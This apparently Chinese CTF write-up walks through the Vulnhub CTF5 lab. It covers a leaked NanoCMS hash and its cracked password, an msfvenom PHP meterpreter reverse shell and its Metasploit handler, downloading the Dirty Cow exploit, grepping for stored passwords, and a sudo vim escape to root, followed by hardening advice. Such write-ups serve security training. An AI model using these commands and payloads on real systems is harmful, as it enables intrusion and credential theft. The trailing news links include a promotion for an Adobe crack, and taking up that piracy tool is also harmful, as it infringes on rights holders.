CTF5 靶机提权路径对比:脏牛失败与密码查找的 2 种权限提升思路
CTF5 靶机提权路径对比脏牛失败与密码查找的两种权限提升思路在渗透测试和CTF竞赛中Linux系统提权是至关重要的环节。本文将深入分析Vulnhub CTF5靶机中遇到的两种典型提权路径脏牛(Dirty Cow)提权失败与通过密码查找成功获取root权限的案例对比。通过技术选型决策树和详细排错分析帮助安全研究人员建立更系统的提权方法论。1. 环境侦察与初始访问在开始提权分析前我们需要先了解目标系统的基本情况。通过Nmap扫描发现目标开放了以下关键服务PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 80/tcp open http Apache httpd 2.4.38 3306/tcp open mysql MySQL 5.7.29Web应用识别显示目标运行着NanoCMS系统版本号为1.4.11。通过分析发现该系统存在敏感信息泄露漏洞能够获取管理员凭据漏洞类型利用方式获取信息敏感文件泄露访问/data/pagesdata.txtadmin:9d2f75377ac0ab991d40c91fd27e52fd密码破解MD5解密明文密码shannon使用获得的凭据成功登录系统后通过文件上传功能获取了初始shell访问权限# 生成PHP反向shell msfvenom -p php/meterpreter/reverse_tcp LHOST192.168.1.100 LPORT4444 -f raw shell.php # 上传后触发连接 msf6 use exploit/multi/handler msf6 exploit(multi/handler) set payload php/meterpreter/reverse_tcp msf6 exploit(multi/handler) set LHOST 192.168.1.100 msf6 exploit(multi/handler) exploit2. 提权路径一脏牛(Dirty Cow)尝试2.1 脏牛漏洞原理脏牛(CVE-2016-5195)是Linux内核中的竞态条件漏洞影响2.6.22到4.8.3版本的内核。该漏洞允许低权限用户写入只读内存映射从而修改敏感文件如/etc/passwd。漏洞利用关键步骤创建内存映射到目标文件(如/etc/passwd)通过多线程竞态条件修改映射内容持久化修改到磁盘2.2 靶机环境验证首先检查系统内核版本uname -a Linux ctf5 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux内核版本4.4.0-21理论上在脏牛的影响范围内。我们下载并编译公开的expwget https://www.exploit-db.com/download/40839 -O dirty.c gcc dirty.c -o dirty -pthread注意在实际测试中发现靶机缺少gcc编译器这是第一个警示信号2.3 失败原因深度分析尝试交叉编译后上传执行发现提权失败。通过排查发现以下关键限制因素编译环境缺失目标系统缺少gcc和必要的开发库无法直接编译本地exp交叉编译的二进制存在兼容性问题内核防护机制cat /proc/sys/vm/dirty_writeback_centisecs 500该值被调整为非默认值增加了竞态条件触发的难度用户权限限制sudo -l User andy may run the following commands on ctf5: (ALL) NOPASSWD: /usr/bin/cat当前用户无法写入关键目录限制了漏洞利用效果技术决策点当遇到编译环境缺失时应考虑寻找预编译的二进制版本尝试其他不依赖编译的提权方式检查系统是否有其他可写目录用于存放工具3. 提权路径二密码查找技术3.1 密码查找方法论当内核提权受阻时查找敏感密码信息是另一种有效途径。系统密码可能存在于以下位置用户目录下的配置文件浏览器保存的密码笔记/备忘录文件环境变量历史命令记录3.2 靶机密码查找实践使用grep进行递归搜索grep -R -i pass /home/ /var/www/ 2/dev/null发现关键文件/home/patrick/.tomboy/481bca0d-7206-45dd-a459-a72ea1131329.note文件内容包含疑似密码字符串50$cent。尝试使用该密码切换用户su patrick Password: 50$cent # 成功认证 sudo -l # 检查sudo权限 User patrick may run the following commands on ctf5: (root) NOPASSWD: /usr/bin/vim通过vim的shell转义功能最终获取root权限sudo vim /etc/passwd :!bash # 在vim中执行shell whoami # root3.3 密码查找技术对比技术优点缺点适用场景脏牛提权通用性强依赖编译环境内核版本匹配且具备编译条件密码查找无需编译依赖信息泄露系统存在配置不当或弱密码SUID提权直接有效需要特定程序存在配置错误的SUID程序计划任务稳定可靠需要等待执行存在可写的计划任务脚本4. 提权决策树与技术选型基于本次实战经验我们总结出Linux提权的决策流程信息收集阶段内核版本uname -a用户权限id和sudo -l运行进程ps aux计划任务crontab -l技术选型评估graph TD A[内核版本是否已知漏洞?] --|是| B[有编译环境?] A --|否| C[检查密码信息] B --|是| D[尝试脏牛等内核exp] B --|否| E[检查SUID/计划任务] C -- F[查找配置文件/历史记录]备选方案准备保持多个终端会话并行尝试不同提权方式记录每一步的操作结果重要提示在实际渗透中应优先尝试非破坏性的提权方式避免触发系统崩溃5. 防御措施与加固建议针对本文涉及的提权方式系统管理员可采取以下防护措施对抗脏牛漏洞及时更新内核版本限制普通用户安装编译工具# 禁用非特权用户使用gcc chmod 750 /usr/bin/gcc防止密码泄露定期检查用户目录下的敏感文件实施严格的权限控制# 限制用户目录访问 chmod 750 /home/*系统监控监控敏感文件的异常修改记录特权命令执行# 启用sudo日志 Defaults logfile/var/log/sudo.log在CTF5靶机的实战中两种提权路径的对比揭示了渗透测试中灵活应变的重要性。内核提权虽然强大但依赖环境条件而细致的密码查找往往能在受限环境中打开突破口。

相关新闻

Windows系统连环故障排查:从黑屏、内存报错到修复工具卡顿的解决方案

Windows系统连环故障排查:从黑屏、内存报错到修复工具卡顿的解决方案

在实际 Windows 系统维护中,遇到开机黑屏、自动重启并伴随 0xc000009c 内存报错,同时系统修复工具 DISM 和 SFC 也出现卡顿,这种情况往往不是单一问题导致,而是系统文件损坏、内存硬件异常、第三方软件冲突等多重因素叠加的结果。…

2026/7/12 7:22:53阅读更多 →
菏泽全年龄段健身训练营适合谁

菏泽全年龄段健身训练营适合谁

不少想要调整体态、管理体重的朋友会问,菏泽全年龄段健身训练营适合谁?最近就有个朋友问我这个问题。本文结合菏泽郓城本地健身机构的公开信息,梳理了一下这类训练营的适配人群范围,供参考。适用人群范围 位于菏泽郓城的郓城蜕变健…

2026/7/12 7:22:53阅读更多 →
XUnity.AutoTranslator架构深度解析:Unity游戏实时翻译引擎的设计与实现

XUnity.AutoTranslator架构深度解析:Unity游戏实时翻译引擎的设计与实现

XUnity.AutoTranslator架构深度解析:Unity游戏实时翻译引擎的设计与实现 【免费下载链接】XUnity.AutoTranslator 项目地址: https://gitcode.com/gh_mirrors/xu/XUnity.AutoTranslator XUnity.AutoTranslator作为一款专为Unity游戏设计的实时翻译引擎&…

2026/7/12 7:22:53阅读更多 →
各类型风口总结与优缺点~~

各类型风口总结与优缺点~~

各类型风口总结与优缺点~~ 常用风口 分类 材质

2026/7/12 8:12:56阅读更多 →
STM32F042K6与TLA2518 ADC的高性价比信号采集方案

STM32F042K6与TLA2518 ADC的高性价比信号采集方案

1. 项目背景与核心需求在工业控制、医疗设备和消费电子等领域,模拟信号到数字信号的可靠转换一直是系统设计的关键环节。TLA2518作为德州仪器推出的12位1MSPS八通道ADC芯片,配合STM32F042K6这款经济型Cortex-M0微控制器,能够构建高性价比的信…

2026/7/12 8:12:56阅读更多 →
3小时从零到精通:解密Adobe软件免费使用的秘密武器

3小时从零到精通:解密Adobe软件免费使用的秘密武器

3小时从零到精通:解密Adobe软件免费使用的秘密武器 【免费下载链接】Adobe-GenP Adobe CC 2019/2020/2021/2022/2023 GenP Universal Patch 3.0 项目地址: https://gitcode.com/gh_mirrors/ad/Adobe-GenP 在数字创意领域,Adobe Creative Cloud系列…

2026/7/12 8:12:56阅读更多 →
别以为你的MCU没人盯——嵌入式安全防护踩坑实录

别以为你的MCU没人盯——嵌入式安全防护踩坑实录

有次出差去客户现场调试,对方总工突然问我:"你们这个设备,如果有人把flash读出来,是不是代码就全裸奔了?"我愣了一下。说实话当时那个产品就是个简单的温湿度采集器,stm32f103c8t6,连…

2026/7/12 8:12:56阅读更多 →
MCP3428与MKV44F128VLH16高精度数据采集方案解析

MCP3428与MKV44F128VLH16高精度数据采集方案解析

1. 为什么选择MCP3428与MKV44F128VLH16组合 在工业级数据采集系统中,ADC(模数转换器)与微控制器的选型直接决定了测量精度和系统稳定性。MCP3428作为Microchip推出的18位Δ-Σ ADC芯片,具有4通道差分输入和内置基准电压源&#xf…

2026/7/12 8:12:56阅读更多 →
C语言TAILQ双向有尾链表:原理、实现与实战应用

C语言TAILQ双向有尾链表:原理、实现与实战应用

1. 项目概述:为什么我们需要TAILQ?在C语言的世界里,数据结构是构建一切复杂系统的基石。当你需要处理一个动态的、需要频繁增删改查的数据集合时,链表往往是你的第一选择。但如果你还在手写struct Node *next, *prev;这样的双向链…

2026/7/12 8:07:55阅读更多 →
VSCode TypeScript 环境配置对比:全局安装 vs 项目本地安装的4个关键差异

VSCode TypeScript 环境配置对比:全局安装 vs 项目本地安装的4个关键差异

VSCode TypeScript 环境配置对比:全局安装 vs 项目本地安装的4个关键差异当你在VSCode中启动一个新的TypeScript项目时,第一个技术决策往往从安装方式开始。这个看似简单的选择——全局安装还是项目本地安装——实际上会深刻影响你的开发流程、团队协作和…

2026/7/12 0:02:11阅读更多 →
智慧树刷课插件:5分钟实现自动化学习的智能助手

智慧树刷课插件:5分钟实现自动化学习的智能助手

智慧树刷课插件:5分钟实现自动化学习的智能助手 【免费下载链接】zhihuishu 智慧树刷课插件,自动播放下一集、1.5倍速度、无声 项目地址: https://gitcode.com/gh_mirrors/zh/zhihuishu 智慧树刷课插件是一款专为智慧树在线教育平台设计的Chrome浏…

2026/7/12 0:02:11阅读更多 →
Steam创意工坊下载器WorkshopDL:跨平台游戏模组获取的终极解决方案

Steam创意工坊下载器WorkshopDL:跨平台游戏模组获取的终极解决方案

Steam创意工坊下载器WorkshopDL:跨平台游戏模组获取的终极解决方案 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 你是否在GOG或Epic Games Store购买了心仪的游戏…

2026/7/12 0:02:11阅读更多 →
VSCode TypeScript 环境配置对比:全局安装 vs 项目本地安装的4个关键差异

VSCode TypeScript 环境配置对比:全局安装 vs 项目本地安装的4个关键差异

VSCode TypeScript 环境配置对比:全局安装 vs 项目本地安装的4个关键差异当你在VSCode中启动一个新的TypeScript项目时,第一个技术决策往往从安装方式开始。这个看似简单的选择——全局安装还是项目本地安装——实际上会深刻影响你的开发流程、团队协作和…

2026/7/12 0:02:11阅读更多 →
智慧树刷课插件:5分钟实现自动化学习的智能助手

智慧树刷课插件:5分钟实现自动化学习的智能助手

智慧树刷课插件:5分钟实现自动化学习的智能助手 【免费下载链接】zhihuishu 智慧树刷课插件,自动播放下一集、1.5倍速度、无声 项目地址: https://gitcode.com/gh_mirrors/zh/zhihuishu 智慧树刷课插件是一款专为智慧树在线教育平台设计的Chrome浏…

2026/7/12 0:02:11阅读更多 →
Steam创意工坊下载器WorkshopDL:跨平台游戏模组获取的终极解决方案

Steam创意工坊下载器WorkshopDL:跨平台游戏模组获取的终极解决方案

Steam创意工坊下载器WorkshopDL:跨平台游戏模组获取的终极解决方案 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 你是否在GOG或Epic Games Store购买了心仪的游戏…

2026/7/12 0:02:11阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/11 16:20:28阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/11 23:15:38阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/11 18:12:23阅读更多 →